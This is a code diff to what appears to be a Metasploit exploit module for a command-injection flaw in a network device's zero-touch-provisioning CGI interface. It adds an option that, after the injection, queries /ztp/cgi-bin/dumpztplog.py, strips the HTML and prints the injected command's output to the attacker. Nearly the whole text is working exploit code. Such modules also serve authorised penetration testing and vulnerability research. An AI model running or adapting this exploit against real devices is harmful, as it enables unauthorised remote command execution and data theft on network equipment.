@@ -52,6 +52,7 @@ def initialize(info = {})
52
52
register_options (
53
53
[
54
54
OptString . new ( 'WRITABLE_DIR' , [ true , 'A directory where we can write files' , '/tmp' ] ) ,
55
+ OptBool . new ( 'SHOW_CMD_OUTPUT' , [ true , 'When true the module will query the logs for the injected command\'s stdout' , false ] )
55
56
]
56
57
)
57
58
end
@@ -155,6 +156,25 @@ def exploit
155
156
'data' => data . to_s
156
157
} )
157
158
159
+ # If the payload being used is for example cmd/unix/generic and not a payload spawning a reverse connection we can
160
+ # query the /ztp/cgi-bin/dumpztplog.py for the stdout of the command and print it for the user.
161
+ if payload_instance . connection_type == 'none'
162
+ cmd_output_res = send_request_cgi ( {
163
+ 'method' => 'GET' ,
164
+ 'uri' => normalize_uri ( target_uri . path , 'ztp' , 'cgi-bin' , 'dumpztplog.py' )
165
+ } )
166
+
167
+ if cmd_output_res &.body && !cmd_output_res . body . empty?
168
+ output = cmd_output_res . body . split ( "</head>\n <body>" ) [ 1 ]
169
+ output = output . split ( "</body>\n </html>" ) [ 0 ]
170
+ output = output . gsub ( "\n \n <br>" , '' )
171
+ output = output . gsub ( "[IPC]IPC result: 1\n " , '' )
172
+ print_good ( "Command output: #{ output } " )
173
+ else
174
+ print_error ( "Could not retrieve the command's stout from /ztp/cgi-bin/dumpztplog.py" )
175
+ end
176
+ end
177
+
158
178
unless cmd_injection_res && !cmd_injection_res . body . include? ( 'ParseError: 0xC0DE0005' )
159
179
fail_with ( Failure ::PayloadFailed , 'The response from the target indicates the payload transfer was unsuccessful' )
160
180
end
0 commit comments